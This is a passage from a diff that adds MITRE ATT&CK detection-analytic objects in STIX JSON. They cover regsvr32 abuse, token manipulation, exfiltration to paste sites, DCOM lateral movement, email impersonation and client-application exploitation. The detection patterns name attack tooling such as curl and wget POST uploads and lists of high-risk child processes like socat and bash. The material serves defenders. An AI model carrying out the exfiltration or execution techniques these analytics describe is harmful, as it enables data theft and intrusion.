"channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedDLLPaths", + "description": "Directories where DLL loading via regsvr32.exe is expected (e.g., C:\\Windows\\System32)." + }, + { + "field": "ScriptletExtensions", + "description": "File extensions considered suspicious when executed by regsvr32.exe (e.g., .sct, .ocx)." + }, + { + "field": "TimeWindow", + "description": "Timeframe to correlate regsvr32.exe process creation with subsequent module loads and network connections." + }, + { + "field": "ParentProcessWhitelist", + "description": "Parent processes from which regsvr32.exe is expected (e.g., explorer.exe during legitimate COM object registration)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c4cabd45-86a2-4842-9171-dff93f6ac737", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0283#AN0786", + "external_id": "AN0786" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0786", + "description": "Detection of suspicious token manipulation chains: use of token-related APIs (e.g., LogonUser, DuplicateTokenEx) or commands (runas) \u2192 spawning of a new process under a different security context (e.g., SYSTEM) \u2192 mismatched parent-child process lineage or anomalies in Event Tracing for Windows (ETW) token/PPID data \u2192 abnormal lateral or privilege escalation activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4672" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "ETW:Token", + "channel": "token_analysis: API calls such as DuplicateTokenEx or ImpersonateLoggedOnUser" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db", + "name": "WinEventLog:DirectoryService", + "channel": "EventCode=5136" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation time between suspicious API usage, runas, and process creation (e.g., 5\u201310m)." + }, + { + "field": "AllowedServiceAccounts", + "description": "Whitelist of service accounts permitted to spawn SYSTEM-level processes." + }, + { + "field": "KnownAdminTools", + "description": "Legitimate administrative utilities that trigger token changes." + }, + { + "field": "ParentProcessAnomalyThreshold", + "description": "Deviation threshold for PPID mismatches detected via ETW." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4e8da615-4d12-4b53-8c7b-06d7c41e22a9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0284#AN0787", + "external_id": "AN0787" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0787", + "description": "Unexpected processes (e.g., powershell.exe, wscript.exe, office apps) initiating HTTP POST/PUT requests to text storage domains like pastebin.com or hastebin.com, particularly when preceded by file access in sensitive directories. Defender perspective: correlation of process lineage, large clipboard/file read operations, and outbound uploads to text storage services.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TextStorageDomains", + "description": "Domains to monitor such as pastebin.com, hastebin.com, ghostbin.com." + }, + { + "field": "UploadSizeThreshold", + "description": "Minimum data size (e.g., >500KB) to trigger alerts for suspicious uploads." + }, + { + "field": "UserContext", + "description": "User accounts with legitimate business justification for posting to text storage sites." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dd202a3f-c73b-47cf-9689-f14a8def816e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0284#AN0788", + "external_id": "AN0788" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0788", + "description": "Use of curl, wget, or custom scripts to POST data to pastebin-like services. Defender perspective: identify chained behavior where files are compressed/read followed by HTTPS POST requests to text-sharing endpoints.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:EXECVE", + "channel": "curl -d, wget --post-data" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "read/open of sensitive file directories" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "large HTTPS POST requests to text storage domains" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedTools", + "description": "Whitelist of tools (e.g., curl for package repos) to reduce false positives." + }, + { + "field": "WorkHours", + "description": "Expected time ranges for developer interactions with external paste sites." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cf74f802-0080-41ff-8745-9c42af313462", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0284#AN0789", + "external_id": "AN0789" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0789", + "description": "Processes such as osascript, curl, or office applications sending data to text storage APIs/domains. Defender perspective: anomalous clipboard or file reads by unexpected applications immediately followed by outbound HTTPS requests to pastebin-like services.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "execution of curl, osascript, or unexpected Office processes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "file read of sensitive directories" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:unifiedlog", + "channel": "HTTPS POST requests to pastebin.com or similar" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedApps", + "description": "Processes not normally associated with data uploads (e.g., Preview, Calculator)." + }, + { + "field": "EntropyThreshold", + "description": "High entropy detection to flag encoded or encrypted data exfiltration." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--58a609cb-b266-4a1a-a40f-9e4cd5d591ce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0284#AN0790", + "external_id": "AN0790" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0790", + "description": "ESXi services (vmx, hostd) generating outbound HTTPS POST requests to text storage sites. Defender perspective: anomalous datastore or log reads chained with traffic to pastebin-like destinations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "esxi:hostd", + "channel": "datastore/log file access" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "esxi:vmkernel", + "channel": "HTTPS POST connections to pastebin-like domains" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DatastoreExfilThreshold", + "description": "Threshold of bytes exfiltrated from ESXi datastore files." + }, + { + "field": "ApprovedDestinations", + "description": "Whitelist of domains approved for API communication to prevent false positives." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0f94823c-ac95-48d8-9716-58f59d39974c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0285#AN0791", + "external_id": "AN0791" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0791", + "description": "A remote DCOM invocation by a privileged account using RPC (port 135), followed by abnormal process instantiation or module loading on the remote system indicative of code execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624 (LogonType=3)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlate RPC activity with remote process creation within a configurable time window (e.g., 300s)" + }, + { + "field": "UserContext", + "description": "Identify rare or first-time DCOM invocations by specific accounts" + }, + { + "field": "ProcessName", + "description": "List of suspicious executables commonly abused via DCOM (e.g., excel.exe, wmiprvse.exe)" + }, + { + "field": "RemoteHostList", + "description": "Known set of systems that should or should not be invoking DCOM activity" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e4246c20-fbe4-4750-a29e-44e3fe179bf2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0286#AN0792", + "external_id": "AN0792" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0792", + "description": "Monitor for anomalous email activity originating from Windows-hosted applications (e.g., Outlook) where the sending account name or display name does not match the underlying SMTP address. Detect abnormal volume of outbound messages containing sensitive keywords (e.g., 'payment', 'wire transfer') or anomalous login locations for accounts associated with email sending activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "SendOnBehalf/SendAs: Emails sent where the sending identity mismatches account ownership" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "KeywordList", + "description": "Adjust impersonation detection keywords based on local business risk terms (e.g., 'ACH', 'Invoice')." + }, + { + "field": "GeoLocationBaseline", + "description": "Define trusted geographic regions for normal user email activity." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5c7a8194-f0cb-498a-98c6-5928859bf79f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0286#AN0793", + "external_id": "AN0793" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0793", + "description": "Monitor mail server logs (Postfix, Sendmail, Exim) for anomalous From headers mismatching authenticated SMTP identities. Detect abnormal relay attempts, spoofed envelope-from values, or large-scale outbound campaigns targeting internal users.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve: Processes executing sendmail/postfix with forged headers" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application:Mail", + "channel": "Mismatch between authenticated username and From header in email" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "KnownRelayHosts", + "description": "Filter trusted relays or automated notification systems from impersonation alerts." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1305f37f-8333-4d86-9714-340b66c65771", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0286#AN0794", + "external_id": "AN0794" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0794", + "description": "Monitor Mail.app activity or unified logs for anomalous SMTP usage, including mismatches between display name and authenticated AppleID or Exchange credentials. Detect use of third-party mail utilities that attempt to send on behalf of corporate identities.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "Mail.app or third-party clients sending messages with mismatched From headers" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TrustedMailClients", + "description": "Allowlist known third-party clients used for legitimate email activity." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2266c86a-a47e-46ac-aa6d-c1eb6d49a1e5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0286#AN0795", + "external_id": "AN0795" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0795", + "description": "Monitor SaaS mail platforms (Google Workspace, M365, Okta-integrated apps) for SendAs/SendOnBehalfOf operations where the delegated permissions are unusual or newly granted. Detect impersonation attempts where adversaries configure rules to auto-forward or auto-reply with impersonated content.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "gcp:workspaceaudit", + "channel": "SendAs: Outbound messages with alias identities that differ from primary account" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DelegationBaseline", + "description": "Maintain baseline of normal SendAs/SendOnBehalf relationships to reduce false positives." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--250d2977-7b94-4041-a299-0f2f1532eb95", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0286#AN0796", + "external_id": "AN0796" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0796", + "description": "Monitor Office Suite applications (Outlook, Word mail merge, Excel macros) for abnormal automated message sending, especially when macros or scripts trigger email delivery. Detect patterns of impersonation language (urgent, payment, executive request) combined with anomalous execution of Office macros.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "SendOnBehalf/SendAs: Office Suite initiated messages using impersonated identities" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MacroExecutionThreshold", + "description": "Threshold for correlating macro execution with email sending activity." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--065f2c96-6903-4cd1-a737-99ecf1fdc73e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0287#AN0797", + "external_id": "AN0797" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0797", + "description": "Cause\u2192effect chain: (1) A client app (browser, Office, PDF/Flash/reader) experiences a crash/abnormal exit or loads from an unusual location, then (2) drops or modifies a file in user-writable paths, and/or (3) spawns an unexpected child (e.g., powershell/cmd/mshta/rundll32/wscript/installer), and (4) establishes outbound C2-like connections shortly after. Correlate application logs, file writes, process lineage, and network egress within a short window.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Application", + "channel": "EventCode=1000" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation window (e.g., 15m) between crash/write/child/network." + }, + { + "field": "HighRiskChildren", + "description": "List of child processes that should rarely spawn from Office/browsers (powershell.exe, cmd.exe, wscript.exe, mshta.exe, rundll32.exe, regsvr32.exe, msiexec.exe, curl.exe)." + }, + { + "field": "UserPaths", + "description": "Writable paths to watch (Downloads, %TEMP%, %APPDATA%, OneDrive, Office startup folders)." + }, + { + "field": "AllowedPlugins", + "description": "Known add-ins/extensions and updater binaries to reduce noise." + }, + { + "field": "EgressAllowlist", + "description": "Known update/CDN domains and proxy egress CIDRs for suppression." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b3b58ac5-6b60-4c34-9842-46f5ee517bcb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0287#AN0798", + "external_id": "AN0798" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0798", + "description": "Cause\u2192effect chain: (1) Browser/Office/reader process logs crash/segfault or abnormal sandbox message, (2) new executable/script/write occurs in $HOME (Downloads, ~/.cache, /tmp), (3) unexpected child like curl/wget/bash/python opens network connections soon after.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "linux:syslog", + "channel": "browser/office crash, segfault, abnormal termination" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "creat" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "rename,chmod" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NetFlow:Flow", + "channel": "new outbound connections from exploited process tree" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "5\u201320m correlation window." + }, + { + "field": "UserPaths", + "description": "HOME write targets: ~/Downloads, ~/.config/autostart, ~/.local/share, /tmp." + }, + { + "field": "HighRiskChildren", + "description": "bash, sh, python, perl, node, curl, wget, socat, openssl, xxd." + }, + { + "field": "PackageUpdaters", + "description": "Allow-list common updaters (snap, flatpak, packagekit) to reduce FP." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4aaf0a98-c6a9-4b30-a9d9-3a014473bd0e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0287#AN0799", + "external_id": "AN0799" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0799", + "description": "Cause\u2192effect chain: (1) App crash/abnormal termination in unified logs for Safari/Chrome/Office/Preview, (2) new files/scripts in ~/Library, ~/Downloads, /private/var/folders/*, (3) unexpected child (osascript, zsh, bash, curl) spawned by those apps, (4) new outbound connections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "process crash, abort, code signing violations" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "fs:fsevents", + "channel": "create/write/rename under user-writable paths" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "exec" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Connections", + "channel": "new connections from exploited lineage" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "10\u201330m correlation window." + }, + { + "field": "HighRiskChildren", + "description": "osascript, bash, zsh, curl, python, pbpaste/pbcopy, open -a Terminal." + }, + { + "field": "UserPaths", + "description": "~/Library/LaunchAgents, ~/Library/Containers/*/Data, /private/var/folders/*." + }, + { + "field": "QuarantineBypass", + "description": "Flag files with missing com.apple.quarantine extended attribute when sourced from internet." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b6516e8b-fd18-4c92-8701-1762d8321168", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": 